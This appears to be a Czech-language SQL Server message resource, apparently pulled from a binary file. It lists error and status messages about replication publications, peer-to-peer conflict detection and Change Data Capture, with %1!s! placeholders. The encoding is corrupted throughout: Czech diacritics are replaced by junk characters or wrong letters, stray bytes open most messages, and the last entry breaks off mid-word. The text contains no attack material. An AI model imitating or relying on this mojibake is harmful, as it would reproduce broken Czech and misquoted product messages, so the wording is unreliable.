l�nku @subscriber_upload_options mus� b�t pro vaechny 
l�nky publikace nastavena na hodnotu zakazuj�c� odes�l�n�.

�Do publikace %1!s! nelze pYidat relaci logick�ho z�znamu, proto~e publikace povoluje webovou synchronizaci.

Publikaci %1!s! nelze zmnit, aby povolovala webovou synchronizaci, proto~e publikace obsahuje nejm�n jednu relaci logick�ho z�znamu.

xPro sn�mkov� publikace nejsou povoleny soub~n� sn�mky.

�Vertik�ln� dlen� je povoleno pouze pro 
l�nky zalo~en� na protokolech.

�Sd�len� agent distribuce (%1!s!) pro tento odbr ji~ existuje.

Kdy~ je mo~nost identityrangemanagementoption nastavena na hodnotu auto, nelze sloupec identity %1!s! vyYadit z vertik�ln�ho odd�lu.

�Typ %1!s! je neplatn�. Platn� typy jsou merge, tran a both.

�Kdy~ je parametr @resync_type nastaven na hodnotu 2, je tYeba zadat platnou hodnotu pro parametr @resync_date_str.

�Parametr @resync_type je nastaven na hodnotu %1!s!, ale odbr se nikde nepodaYilo �span ovYit.

�Publikaci %1!s! nelze zmnit, aby pou~�vala parametr sync_mode s hodnotou character, proto~e pou~�v� jin� jednotky doby uchov�n� ne~ day. Pomoc� procedury sp_changemergepublication nastavte jednotky doby uchov�n� na hodnotu day.

�Pro publikaci %1!s! nelze nastavit jednotky doby uchov�n� na jinou hodnotu ne~ day, proto~e pro parametr sync_mode pou~�v� hodnotu character a pravdpodobn m� odbratele se syst�mem SQL Server Compact Edition.

�Hodnota vlastnosti %1!s! je neplatn�. Platn� hodnoty jsou 0 a 1.

�Stav zmny sch�matu se nepodaYilo aktualizovat, proto~e �roveH kompatibility publikace je m�n ne~ 90. Pomoc� procedury sp_changemergepublication nastavte vlastnost publication_compatibility_level publikace %1!s! na hodnotu 90RTM.

XStav zmny sch�matu nelze aktualizovat.

|Stav zmny sch�matu mus� m�t hodnotu active nebo skipped.

Slu
ovac� replikace nepovoluje filtry, kter� odkazuj� na dynamick� funkce vy~aduj�c� jeden a v�ce parametro. Zkontrolujte funkci %1!s!.

�Po~adovan� operace se nezdaYila, proto~e �roveH kompatibility publikace je m�n ne~ 90. Pomoc� procedury sp_changemergepublication nastavte vlastnost publication_compatibility_level publikace %1!s! na hodnotu 90RTM.

��roveH kompatibility publikace nelze sn�~it pod aktu�ln� hodnotu.

tobsahuje nejm�n jeden 
l�nek, kter� neodes�l� zmny

4pou~�v� replikaci ddl

dpou~�v� jinou jednotku doby uchov�n� ne~ day

8pou~�v� logick� z�znamy

�obsahuje nejm�n jeden 
l�nek, kter� pou~�v� filtrov�n� zalo~en� na odbrech nebo filtrov�n� zalo~en� na odd�lech

�obsahuje nejm�n jeden 
l�nek, kter� nebude kompenzovat chyby

hobsahuje nejm�n jeden 
l�nek typu schema-only

�obsahuje nejm�n jeden 
l�nek pou~�vaj�c� automatickou spr�vu rozsahu identity

�obsahuje nejm�n jeden 
l�nek, kter� pou~�v� nov� datov� typy syst�mu SQL Server 2000

�obsahuje nejm�n jeden 
l�nek se sloupcem typu 
asov�ho raz�tka

�pou~�v� kompresi sn�mku s vlastnost� snapshot_in_defaultfolder nastavenou na hodnotu false

�obsahuje nejm�n jeden 
l�nek pou~�vaj�c� vertik�ln� dlen�

\Jestli~e je vlastnost 
l�nku published_in_tran_pub nastavena na hodnotu true, pak vlastnost 
l�nku upload_options mus� b�t nastavena na hodnotu, kter� zak�~e odes�l�n�.

$Nen� mo~n� zmnit publikaci %1!s! za �
elem nepovolen� vlastnosti use_partition_groups. Tato publikace toti~ obsahuje jednu nebo v�ce relac� logick�ho z�znamu. PYi pou~it� relac� logick�ho z�znamu mus� publikace nastavit vlastnost @use_partition_groups na hodnotu true.

�Nebyl nalezen odbr publikace %1!s!, ale existuje sd�len� agent. Chcete-li zadat odbr publikace, kter� je replikov�na prostYednictv�m sd�len�ho agenta, zadejte n�zev publikace jako %2!s!.

�Datab�zi %1!s! nelze publikovat, proto~e na jin�m serveru je ozna
ena jako publikovan�. PYed publikac� t�to datab�ze spusete proceduru sp_replicationdboption. Vlastnostem publish a merge publish nastavte hodnotu FALSE.

<l�nek %1!s! nelze pYidat ani upravit v publikaci %2!s!. Nen� podporov�na replikace sloupco FILESTREAM pro publikace, kter� maj� parametr sync_mode s hodnotou 1 (re~im znako). Zadejte pro publikaci parametr sync_mode s hodnotou 0 (nativn� re~im) pomoc� ulo~en� procedury sp_addmergepublication nebo sp_changemergepublication nebo 
l�nek rozdlte svisle na odd�ly tak, aby sloupec FILESTREAM nebyl replikov�n.

�l�nek %1!s! nelze pYidat ani upravit v publikaci %2!s!. Nen� podporov�na replikace sloupco FILESTREAM pro publikace, kter� maj� parametr publication_compatibility_level mena� ne~ 90RTM (SQL Server 2005). Zadejte parametr publication_compatibility_level s hodnotou vta� nebo rovno 90RTM pomoc� ulo~en� procedury sp_addmergepublication nebo sp_changemergepublication nebo 
l�nek rozdlte svisle na odd�ly tak, aby sloupec FILESTREAM nebyl replikov�n.

 l�nek %1!s! nelze pYidat ani upravit v publikaci %2!s!. Nen� podporov�na replikace sloupco FILESTREAM pro 
l�nky, kter� maj� vlastnost schema_option nastavenu na hodnotu 0x20000000. To pYevede datov� typy velk�ch objekto na datov� typy, kter� jsou podporov�ny ve stara�ch verz�ch syst�mu Microsoft SQL Server. Odeberte toto nastaven� vlastnosti schema_option pomoc� ulo~en� procedury sp_addmergepublication nebo sp_changemergepublication nebo rozdlte 
l�nek svisle na odd�ly tak, aby sloupec FILESTREAM nebyl replikov�n.

HSloupec %1!s! nelze pYidat do 
l�nku nebo upravit v 
l�nku %2!s! publikace %3!s!. U publikac�, jejich~ parametr sync_mode m� hodnotu 1 (re~im znako) nebo kter� maj� �roveH zptn� kompatibility ni~a� ne~ 90RTM, nen� podporov�na operace DDL v pY�pad sloupco typu hierarchyid a FILESTREAM.

�Vydavatel� a odbratel� jin�ho typu ne~ SQL Server jsou podporov�ni pouze na Windows. Zjiatn� platforma je %1!s!.

@Prob�h� spouatn� �lohy Change Data Capture Collection Agent. Hl�sit probh operace mo~e dotaz na zobrazen� dynamick� spr�vy sys.dm_cdc_log_scan_sessions.

�Prob�h� spouatn� �lohy Change Data Capture Cleanup Agent s pou~it�m doln� meze pamti %1!s!.

�Funkce Change Data Capture prohledala protokol od poYadov�ho 
�sla polo~ky (LSN) {%1!s!} do {%2!s!}. Bylo extrahov�no %3!s! transakc� s %4!s! pY�kazy. Hl�sit probh operace mo~e dotaz na zobrazen� dynamick� spr�vy sys.dm_cdc_log_scan_sessions.

0Funkce Change Data Capture nemo~e pokra
ovat v akci spojen� s �lohou. V datab�zi %1!s! je povolena transak
n� replikace, ale nebylo mo~n� na
�st informaci o distributorovi, a tedy ani stav agenta pro 
ten� protokolu. ZpY�stupnte distribu
n� datab�zi nebo zaka~te distribuci.

�Identifik�tor povodce %1!s! nen� platn�. Je tYeba ur
it nenulov� identifik�tor, kter� dosud nebyl pou~it v topologii.

�Vlastnost publikace %1!s! nelze zmnit, proto~e publikace peer-to-peer %2!s! nen� povolena pro zjiaeov�n� konflikto. Chcete-li povolit publikaci pro zjiaeov�ni konflikto, pou~ijte sp_configure_peerconflictdetection.

�Proceduru %1!s! nelze prov�st. Publikace %2!s! mus� pYed spuatn�m t�to procedury povolovat replikaci peer-to-peer. Chcete-li povolit publikaci pro replikaci peer-to-peer, pou~ijte sp_changepublication.

�Hodnota parametru @action nen� platn�. Platn� hodnoty jsou enable a disable.

xasov� limit zptn� transformace mus� b�t vyaa� ne~ 0.

�Kvalifikovan� n�zev tabulky %1!s! je pY�lia dlouh� na to, aby byl povolen pro zjiaeov�n� konflikto peer-to-peer .

hV�straha pYi zjiaeov�n� konflikto peer-to-peer

�Publikace%1!s! ji~ byla %2!s! pro zjiaeov�n� konflikto peer-to-peer.

PProveden� pY�kazu %1!s! se nezdaYilo. Zadan� hodnoty parametro @ins_cmd, @del_cmd nebo @upd_cmd nelze pYidat k n�zvu sch�matu %2!s! v r�mci limitu velikosti %3!s!.

,Nebylo mo~no aktualizovat metadata, kter� ur
uj�, ~e datab�ze %1!s! je povolena pro funkci Change Data Capture. Selh�n� nastalo pYi prov�dn� pY�kazu %2!s!. Vr�cen� chyba byla %3!s!: %4!s!. Pou~ijte akci a chybu, abyste zjistili pY�
inu selh�n�, a odealete po~adavek znovu.

0Nebylo mo~no aktualizovat metadata, kter� ur
uj�, ~e datab�ze %1!s! nen� povolena pro funkci Change Data Capture. Selh�n� nastalo pYi prov�dn� pY�kazu %2!s!. Vr�cen� chyba byla %3!s!: %4!s!. Pou~ijte akci a chybu, abyste zjistili pY�
inu selh�n�, a odealete po~adavek znovu.

,Nebylo mo~no aktualizovat metadata, kter� ur
uj�, ~e datab�ze %1!s! je povolena pro funkci Change Data Capture. Selh�n� nastalo pYi prov�dn� pY�kazu %2!s!. Vr�cen� chyba byla %3!s!: %4!s!. Pou~ijte akci a chybu, abyste zjistili pY�
inu selh�n�, a odealete po~adavek znovu.

0Nebylo mo~no aktualizovat metadata, kter� ur
uj�, ~e datab�ze%1!s! nen� povolena pro funkci Change Data Capture. Selh�n� nastalo pYi prov�dn� pY�kazu %2!s!. Vr�cen� chyba byla %3!s!: %4!s!. Pou~ijte akci a chybu, abyste zjistili pY�
inu selh�n�, a odealete po~adavek znovu.

�Pro tabulku %1!s! nebylo mo~no zmnit podrobn� stav protokolov�n�. Selh�n� nastalo pYi prov�dn� pY�kazu %2!s!. Vr�cen� chyba byla %3!s!: %4!s!. Pou~ijte akci a chybu, abyste zjistili pY�
inu selh�n�, a odealete po~adavek znovu.

4Nebylo mo~no aktualizovat metadata pro datab�zi %1!s! a tak indikovat, ~e byla vyYazena �loha Change Data Capture. Selh�n� nastalo pYi prov�dn� pY�kazu %2!s!. Vr�cen� chyba byla %3!s!: %4!s!. Pou~ijte akci a chybu, abyste zjistili pY�
inu selh�n�, a odealete po~adavek znovu.

0Nebylo mo~no aktualizovat metadata pro datab�zi %1!s! a tak indikovat, ~e byla pYid�na �loha Change Data Capture. Selh�n� nastalo pYi prov�dn� pY�kazu %2!s!. Vr�cen� chyba byla %3!s!: %4!s!. Pou~ijte akci a chybu, abyste zjistili pY�
inu selh�n�, a odealete po~adavek znovu.

Nebylo mo~no odstranit polo~ky tabulky nebo vyYadit objekty pYidru~en� k z�znamov� instanci %1!s!. Selh�n� nastalo pYi prov�dn� pY�kazu %2!s!. Vr�cen� chyba byla %3!s!: %4!s!. Pou~ijte akci a chybu, abyste zjistili pY�
inu selh�n�, a odealete po~adavek znovu.

�Vaechny sloupce CDC jedine
n�ho indexu musej� b�t definov�ny jako NOT NULL. Index %1!s!, kter� byl vybr�n jako jedine
n� index CDC pro zdrojovou tabulku %2!s!.%3!s!, nesplHuje tento po~adavek. Definujte vaechny Y�dky vybran�ho indexu jako NOT NULL nebo vyberte jin� jedine
n� index jako index CDC a odealete po~adavek znovu.

�Po~adavek %1!s! na uzamknut� aplikace, kter� je potYeba pro �pravu metadat Change Data Capture, nebyl udlen. Hodnota vr�cen� z po~adavku byla %2!s!: -1 = vypraen� 
asov�ho limitu; -2 = stornov�no; -3 = vz�jemn zablokov�no; -999 chyba validace nebo jin� chyba vol�n�. Zkontrolujte pY�
inu chyby a odealete po~adavek znovu.

Nebylo mo~no aktualizovat metadata pro datab�zi %1!s!, kter� je povolena pro funkci Change Data Capture. Selh�n� nastalo pYi prov�dn� akce %2!s!. Vr�cen� chyba byla %3!s!: %4!s!. Pou~ijte akci a chybu, abyste zjistili pY�
inu selh�n�, a odealete po~adavek znovu.

hPY�kaz ALTER TABLE SWITCH se nezdaYil, proto~e je c�lov� dlen� tabulka povolena pro funkci Change Data Capture a parametr @allow_partition_switch nen� nastaven na hodnotu 1.

lPY�kaz ALTER TABLE SWITCH se nezdaYil, proto~e je zdrojov� dlen� tabulka povolena pro funkci Change Data Capture a parametr @allow_partition_switch nen� nastaven na hodnotu 1.

dHodnota mo~nosti %1!s! mus� b�t bu 1 nebo 0.

�Funkci Change Data Capture nen� mo~n� v t�to edici SQL Serveru povolit.

�Mezn� hodnota zadan� pro proces 
iatn� funkce Change Data Capture mus� b�t vta� ne~ 0. PYi vytv�Yen� nebo �prav �lohy 
iatn� je tYeba zadat kladnou mezn� hodnotu. Pokud k t�to chyb dojde pYi spuatn� ulo~en� procedury sys.sp_cdc_cleanup_change_table, obnovte mezn� hodnotu pYidru~enou k �loze na nez�pornou hodnotu pomoc� ulo~en� procedury sp_cdc_change_job.

�Nelze aktualizovat tabulku cdc.change_tables tak, aby indikovala zmnu doln� meze datab�ze %1!s!.

0Povolen� funkce Change Data Capture v tabulce %1!s! nebo pYid�n� sloupce ColumnSet se nezdaYilo, proto~e funkce CDC nepodporuje sloupec ColumnSet.

HNelze pYidat polo~ky do tabulky mapov�n� 
asu hodnoty LSN funkce Change Data Capture tak, aby se projevily zmny v operac�ch DML proveden� v r�mci sledovan�ch tabulek. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

|Zpracov�n� z�znamo protokolu pomoc� procesu Log Scan se nezdaYilo. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

�Zpracov�n� z�znamu protokolu knihovny DLL pomoc� procesu Log Scan se nezdaYilo. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

�Sn�mek datab�ze %1!s! neexistuje. Opravte hodnotu parametru a znovu odealete ~�dost.

�PYid�n� Y�dko do tabulky zmn funkce Change Data Capture se nezdaYilo. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

HVol�n� ulo~en� procedury sp_MScdc_capture_job funkc� Capture Job pro datab�zi %1!s! se nezdaYilo. PY�
inu chyby naleznete v informac�ch o pYedchoz�ch chyb�ch.

�Po
et sloupco v indexu %1!s! pou~it�m jako jedine
n� identifik�tor Y�dku pro podporu s�eov�ch zmn v tabulce %2!s!.%3!s! pYesahuje maxim�ln� hodnotu 14 sloupco. Nastavte parametr @supports_net_changes na hodnotu 0 nebo pomoc� parametru @index_name ur
ete jedine
n� index s m�n ne~ 15 sloupci jako jedine
n� identifik�tor Y�dku a znovu odealete ~�dost.

TDatab�ze %1!s! nen� povolena pro funkci Change Data Capture. Zkontrolujte, zda je nastaven spr�vn� kontext datab�ze a opakujte operaci. Chcete-li z�skat sestavu s datab�zemi povolen�mi pro funkci Change Data Capture, zadejte dotaz na sloupec is_cdc_enabled v zobrazen� katalogu sys.databases.

�Volaj�c� nem� opr�vnn� k inicializaci po~adovan� akce. Jsou po~adov�na opr�vnn� role sysadmin.

Ulo~en� procedura sp_replcmds pro funkci Change Data Capture je ji~ v aktu�ln� datab�zi spuatna v r�mci jin�ho pYipojen�.

�Volaj�c� nem� opr�vnn� k inicializaci po~adovan� akce. Jsou po~adov�na opr�vnn� vlastn�ka datab�ze.

HV datab�zi %1!s! nelze povolit funkci Change Data Capture, proto~e u~ivatel datab�ze jm�nem cdc nebo sch�ma s n�zvem cdc ji~ v aktu�ln� datab�zi existuje. Tyto objekty jsou vy~adov�ny v�hradn funkc� Change Data Capture. VyYate nebo pYejmenujte u~ivatele nebo sch�ma a opakujte operaci.

�Parametr @role_name nemo~e b�t pr�zdn�. Zadejte hodnotu pro parametr @role_name a opakujte operaci. Pokud pro pY�stup k zachycen�m datom zmn prostYednictv�m br�ny nem� b�t pou~ita ~�dn� role, zadejte hodnotu null.

�VytvoYen� objekto funkce Change Data Capture v datab�zi %1!s! se nezdaYilo. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

 PYi zak�z�n� posledn� tabulky datab�ze s povolenou funkc� Change Data Capture se nepodaYilo vy
istit tabulku cdc.lsn_time_mapping v datab�zi %1!s!. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

�}�dost o vy
iatn� datab�ze %1!s! se nezdaYila. Datab�ze nen� povolena pro funkci Change Data Capture.

��lohu zachycen� nelze pomoc� funkce Change Data Capture pou~�t k extrahov�n� zmn z protokolu, pokud je z�roveH ve stejn� datab�zi povolena transak
n� replikace. Pokud je v datab�zi z�roveH povolena jak funkce Change Data Capture, tak transak
n� replikace, mo~ete zmny protokolu extrahovat pomoc� agenta 
te
ky protokolo.

�Nelze vyYadit objekty funkce Change Data Capture, kter� se nach�z� v datab�zi %1!s!. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

$Kdy~ je datab�ze povolena pro funkci Change Data Capture, mohou tuto operaci prov�dt pouze 
lenov� role sysadmin, db_owner nebo db_ddladmin.

�Zadan� roli nelze udlit opr�vnn� SELECT k funkc�m v�
tu zmn instance zachycen� %1!s! a zdrojov� tabulky %2!s!.%3!s!. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

�AlespoH jeden sloupec v seznamu zahrnut�ch sloupco nebyl zachycen�m sloupcem tabulky zmn %1!s!.

AlespoH jeden sloupec v seznamu sloupco, kter� je tYeba ozna
it k aktualizaci, nebyl zachycen�m sloupcem tabulky zmn %1!s!.

�Nazvan� instance zachycen� %1!s! pro datab�zi %2!s! neexistuje.

�Nelze vygenerovat skript pro vaechny instance zachycen�, ke kter�m m� volaj�c� povolen� pY�stup. Chcete-li vytvoYit vaechny takov� skripty, mus� oba parametry @column_list a @update_flag_list m�t bu hodnotu null nebo pr�zdnou hodnotu.

�Nelze po
�tat nov� n�zk� koncov� bod pro datab�zi %1!s! z uchov�n� %2!s!. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

Nelze vy
istit tabulky zmn pro datab�zi %1!s!. PYi pokusu o vy
iatn� tabulek zmn datab�ze na z�klad aktu�ln�ho 
asu uchov�n� doalo k chyb. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

�Po
et sloupco zachycen�ch v instanci zachycen� %1!s! pYesahuje maxim�ln� povolen� po
et: %2!s!. Pomoc� parametru @captured_columns_list ur
ete podmno~inu sloupco mena� nebo rovnou maxim�ln�mu povolen�mu po
tu a odealete ~�dost znovu.

hNelze vytvoYit instanci zachycen�, proto~e n�zev instance zachycen� %1!s! ji~ v aktu�ln� datab�zi existuje. Zadejte explicitn� jedine
n� n�zev pro parametr @capture_instance.

�N�zev instance zachycen� %1!s! pYesahuje maxim�ln� d�lku 100 znako. Zadejte n�zev vyhovuj�c� dan�mu omezen� d�lky.

�N�zev indexu %1!s! nen� indexem pro tabulku %2!s!.%3!s!. Zadejte pro tabulku platn� n�zev indexu.

(Index %1!s! mus� b�t bu prim�rn� kl�
, nebo jedine
n� index pro tabulku %2!s!.%3!s!. Zadejte index splHuj�c� alespoH jeden z tchto po~adavko.

�Nelze naj�t polo~ku %1!s! jako~to sloupec zdrojov� tabulky %2!s!.%3!s!. Zadejte platn� n�zev sloupce.

hZdrojov� tabulka %1!s!.%2!s! v aktu�ln� datab�zi neexistuje. Ujistte se, zda je nastaven spr�vn� kontext datab�ze. Zadejte platn� sch�ma a platn� n�zev tabulky pro datab�zi.

PN�zev instance zachycen� %1!s! je neplatn�. Zadejte platn� n�zev. Pravidla pro n�zvy objekto naleznete na webu Knihy online pro SQL Server v 
�sti Identifik�tory.

4N�zev role %1!s! je neplatn�. Zadejte platn� n�zev. Pravidla pro n�zvy objekto naleznete na webu Knihy online pro SQL Server v 
�sti Identifik�tory.

HParametr @supports_net_changes je nastaven na hodnotu 1, ale ve zdrojov� tabulce nen� definov�n prim�rn� kl�
 a nen� zad�n ~�dn� alternativn� jedine
n� index.

Nelze odebrat polo~ky historie knihovny DDL z metadat funkce Change Data Capture pro instanci zachycen� %1!s! a zdrojovou tabulku %2!s!.%3!s!. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

�Nelze na
�st informace o sloupci pro index %1!s! zdrojov� tabulky %2!s!.%3!s!. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

�Sloupce zadan� v seznamu zachycen�ch sloupco nelze mapovat na sloupce ve zdrojov� tabulce %1!s!.%2!s!. OvYte, zda jsou sloupce zadan� v parametru @captured_column_list Y�dn oddleny a zda odpov�daj� sloupcom ve zdrojov� tabulce.

hSloupce pou~it� k jedine
n� identifikaci Y�dko pro sledov�n� zmn s�t mus� b�t zahrnuty v seznamu zachycen�ch sloupco. Do seznamu zachycen�ch sloupco pYidejte bu sloupce zdrojov� tabulky pYedstavuj�c� prim�rn� kl�
, nebo sloupce definovan� pro index zadan� v parametru @index_name a opakujte operaci.

�Nelze vytvoYit zadanou datab�zovou roli %1!s! pro pY�stup do tabulky zmn %2!s!.%3!s! prostYednictv�m br�ny. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

�Nelze pYidat informace o sloupci do syst�mov� tabulky cdc.index_columns pro zadan� index zdrojov� tabulky %1!s!.%2!s!. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

�Nelze pYidat informace o sloupci do syst�mov� tabulky cdc.captured_columns pro zdrojovou tabulku %1!s!.%2!s!. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

�Nelze vytvoYit tabulku zmn pro instanci zachycen� %1!s! a zdrojovou tabulku %2!s!.%3!s!. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

�Nelze vytvoYit funkce v�
tu zmn pro instanci zachycen� %1!s! a zdrojovou tabulku %2!s!.%3!s!. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

�Nelze aktualizovat metadata funkce Change Data Capture pro instanci zachycen� %1!s! a zdrojovou tabulku %2!s!.%3!s!. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

Nelze odebrat polo~ky sloupce indexu z metadat funkce Change Data Capture pro instanci zachycen� %1!s! a zdrojovou tabulku %2!s!.%3!s!. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

Nelze odebrat polo~ky zachycen�ho sloupce z metadat funkce Change Data Capture pro instanci zachycen� %1!s! a zdrojovou tabulku %2!s!.%3!s!. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

�Nelze vyYadit objekty funkce Change Data Capture vytvoYen� pro instanci zachycen� %1!s! a zdrojovou tabulku %2!s!.%3!s!. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

�Nelze odebrat metadata funkce Change Data Capture pro instanci zachycen� %1!s! a zdrojovou tabulku %2!s!.%3!s!. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

�Nelze vy
istit tabulky zmn pro instanci zachycen� %1!s! pomoc� n�zk�ho koncov�ho bodu %2!s!. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

�Pro datab�zi nelze z�skat maxim�ln� hodnotu LSN z funkce sys.fn_cdc_get_max_lsn. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

�Nelze z�skat minim�ln� hodnotu LSN tabulky zmn pYidru~en� k instanci zachycen� %1!s! z funkce sys.fn_cdc_get_min_lsn. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

\Hodnota LSN %1!s! zadan� jako n�zk� koncov� bod pro tabulku zmn pYidru~enou k instanci zachycen� %2!s! nespad� do 
asov� osy [%3!s!, %4!s!] funkce Change Data Capture.

�Nelze vytvoYit funkci pro tvorbu dotazu na vaechny zmny pro instanci zachycen� %1!s!. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

�Nelze vytvoYit funkci pro tvorbu dotazu na zmny s�t pro instanci zachycen� %1!s!. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

�Instance funkce Change Data Capture %1!s! nebyla povolena pro zdrojovou tabulku %2!s!.%3!s!. Pomoc� ulo~en� procedury sys.sp_cdc_help_change_data_capture ovYte n�zev instance zachycen� a opakujte operaci.

�Nelze vytvoYit neclusterovan� index pro podporu sledov�n� zmn s�t pro instanci zachycen� %1!s! a zdrojovou tabulku %2!s!.%3!s!. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

\Pro zdrojovou tabulku %1!s!.%2!s! ji~ existuj� dv instance zachycen�. Tabulka mo~e m�t maxim�ln dv instance zachycen�. Pokud aktu�ln� mo~nosti sledov�n� nejsou vhodn nastaveny, zaka~te sledov�n� zmn pro zastaralou instanci pomoc� ulo~en� procedury sys.sp_cdc_disable_table a opakujte operaci.

�Parametr %1!s! nemo~e m�t hodnotu null ani b�t pr�zdn�. Zadejte hodnotu pro uveden� parametr a opakujte operaci.

�Hodnota LSN %1!s! zadan� jako nov� n�zk� koncov� bod pro vy
iatn� tabulky zmn mus� pYedstavovat hodnotu start_lsn aktu�ln� polo~ky v tabulce cdc.lsn_time_mapping. Zvolte hodnotu LSN, kter� vyhovuje tomuto po~adavku.

�Sloupec v seznamu sloupco uveden� v uvozovk�ch nen� Y�dn ukon
en. OvYte, zda jsou sloupce spr�vn oddleny, a opakujte operaci. Dala� informace naleznete v publikaci Knihy online v 
�sti Identifik�tory ohrani
en� oddlova
i.

pNelze vytvoYit tabulku dbo.systranschemas v datab�zi %1!s!. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

�Nelze vytvoYit clusterovan� index pro tabulku dbo.systranschemas v datab�zi %1!s!. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

�Nelze vytvoYit aktiva
n� ud�lost jazyka DDL %1!s! pYi povolov�n� funkce Change Data Capture pro datab�zi %2!s!. Podrobnja� informace mo~ete naj�t ve zpr�v�ch protokolu chyb syst�mu SQL Server nebo v protokolu chyb opera
n�ho syst�mu.

�Hodnota parametru @maxscans zadan� pro �lohu funkce Change Data Capture mus� b�t vta� ne~ 0.

DNelze pYidlit pame pro mezipame historie 
te
ky protokolo. OvYte, zda m� server SQL Server dostate
nou pame pro vaechny operace. Zkontrolujte nastaven� fyzick� a virtu�ln� pamti serveru a zkontrolujte vyu~it� pamti pro pY�pad, ~e by jin� aplikace vyu~�vala pY�lia mnoho pamti.

Pokud m� pYi vol�n� ulo~en� procedury [sys].sp_cdc_help_change_data capture jeden z parametro @source_schema nebo @source_name jinou hodnotu ne~ null, nebo nem� pr�zdnou hodnotu, nesm� m�t ani druh� parametr pr�zdnou hodnotu nebo jinou hodnotu ne~ null.

pZadan� skupina souboro %1!s! nen� platn� skupina souboro pro datab�zi %2!s!. Zadejte platnou existuj�c� skupinu souboro nebo vytvoYte nazvanou skupinu souboro a opakujte operaci.

�Tabulky obsa~en� ve sch�matu cdc nelze povolit pro funkci Change Data Capture.

tZdrojov� tabulka %1!s!obsahuje jeden z n�sleduj�c�ch rezervovan�ch n�zvo sloupco: __$start_lsn, __$end_lsn, __$seqval, __$operation nebo __$update_mask. Chcete-li pro tuto tabulku povolit funkci Change Data Capture zadejte seznam zachycen�ch sloupco a ujistte se, zda jsou tyto sloupce ze seznamu vylou
eny.

�Nelze zmnit sloupec %1!s! tabulky zmn %2!s! v n�vaznosti na zmnu datov�ho typu v odpov�daj�c�m sloupci zdrojov� tabulky %3!s!. Metadata funkce Change Data Capture pro zdrojovou tabulku %4!s! ji~ neodr�~� pYesn zdrojovou tabulku. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

$Nelze aktualizovat informace o historii knihovny DDL tak, aby se projevily zmny sloupco pou~it� ve sledovan� tabulce pYidru~en� k tabulce zmn %1!s!. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

Nelze aktualizovat polo~ku cdc.captured_columns pro sloupec %1!s! tabulky zmn %2!s! tak, aby se projevila zmna datov�ho typu v odpov�daj�c�m sloupci zdrojov� tabulky %3!s!. Metadata funkce Change Data Capture pro tabulku %4!s! ji~ neodr�~� pYesn zdrojovou tabulku. Chcete-li ur
it pY�
inu a opravit souvisej�c� probl�my, projdte si informace o pYedchoz�ch chyb�ch v aktu�ln� relaci.

Jedine
